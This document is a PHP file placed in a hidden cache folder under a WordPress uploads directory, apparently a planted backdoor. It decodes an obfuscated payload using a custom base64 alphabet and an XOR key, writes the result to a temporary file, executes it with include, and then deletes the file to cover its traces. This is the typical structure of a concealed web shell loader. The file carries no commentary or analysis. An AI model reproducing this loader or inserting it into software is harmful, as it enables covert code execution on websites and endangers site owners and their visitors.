File: /var/www/wordpress/wp-content/uploads/2024/.cache/modules/pigeon.php
<?php
$encrypted = 'UU4xPCY5NiU2RQUbGB9bYGVJGxEAA0t-b01PVVNZBQoUF1tRQB0WBAlReHlFTU9VTwcCCwxNaGdPVVNFTU9VU1kJBgNTBgEOBgBYTwsaEDcCAAExCQIMHlFbYGVVU0VNT1VTRU1PVVNZUh8dA2hnT1VTRU1PVVNFTU9VU0VNT1EQEB8dEB0RPQ4BG0VQTxwAFggbXVc6KiohKEIdDgEbQjBGVUxFSTAyNjE2SAUSEQVIKFNfTQgQBwYaC11aXmBlVVNFTU9VU0VNT1VTRU1PVVcVDB0BAEVQTxALFQEAERZNKSYnNiY5ICcqOj4qJTI3LDs6IUlNGwcaCEVLFgYXHwobBzUMGx1fRSkmJzYmOSAnKjo-KiUyNyw7OiFMRFR4eUVNT1VTRU1PVVNFTU9VU0VgZVVTRU1PVVNFTU9VU0VNT1VXDB44HB0BAhgGU1hNHAEBEQIaBQMAH0cGBgceGwdbNSU_Kjw2QU9FX0VeRlxTWFBSVVQyJCFSSGhnT1VTRU1PVVNFTU9VU0VNT1EQEB8dEB0RTVJVVwweOBwdAQIYBlNaTUhSU19NKzwhIC47OiE8MjwwIyQ_LiE8N1Zif1NFTU9VU0VNT1VTRU1PVVNoZ09VU0VNT1VTRU1PVVNFTU8QEA0CT1JPCwwZS1ReYGVVU0VNT1VTRU1PVVNFTU9Vfm9NT1VTRU1PVVNFTU9VU0VNCRoBAAwMHVNNSR8UAREeTxQARUkfFAERRE8Ofm9NT1VTRU1PVVNFTU9VU0VNT1VTRUkMAAEXCAEBU0tQT11XBhgdBxYLGU9ITlhNSFJTWk1IUlNfTSs8ISAuOzohPDI8MCMkPy4hPDdET1tTQR0OBwdeYGVVU0VNT1VTRU1PVVNFTU9VU0VNTxAQDQJPUk8ETQwZEhYeUlcXCg49GhwROQoNB0cFHRAVWE9QBRIRBVJSU0tNGgcfAAMMGhcARUsWBhcfChsHTE1BVVRHU0hVXUUFGxgfFh0KFhoEAQwdEhceR1EDBB8bXFNLTUhJXARTQFJIaGdPVVNFTU9VU0VNT1VTRU1PCH5vTU9VU0VNT1VTRU1PVVNFTWJ_U0VNT1VTRU1PVVNFTU9VUwAOBxpTQlFAGxITU0hOfm9NT1VTRU1PVVNFTU9KTWhnT1VTRU1PVVNZQgscBVtgZVVTRU1TWhEKCRZLfm9RQB0HCAFR';
if (!function_exists('rhinoceros')) {
function rhinoceros($data, $key) {
$alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
$bin = '';
for ($i = 0; $i < strlen($data); $i++) {
$index = strpos($alphabet, $data[$i]);
$bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}
$bytes = '';
for ($i = 0; $i < strlen($bin); $i += 8) {
$chunk = substr($bin, $i, 8);
if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
$bytes .= chr(bindec($chunk));
}
$res = '';
$klen = strlen($key);
for ($i = 0; $i < strlen($bytes); $i++) {
$res .= $bytes[$i] ^ $key[$i % $klen];
}
return $res;
}
}
file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), rhinoceros($encrypted, 'mouse'));
include $tmp;
unlink($tmp);
?>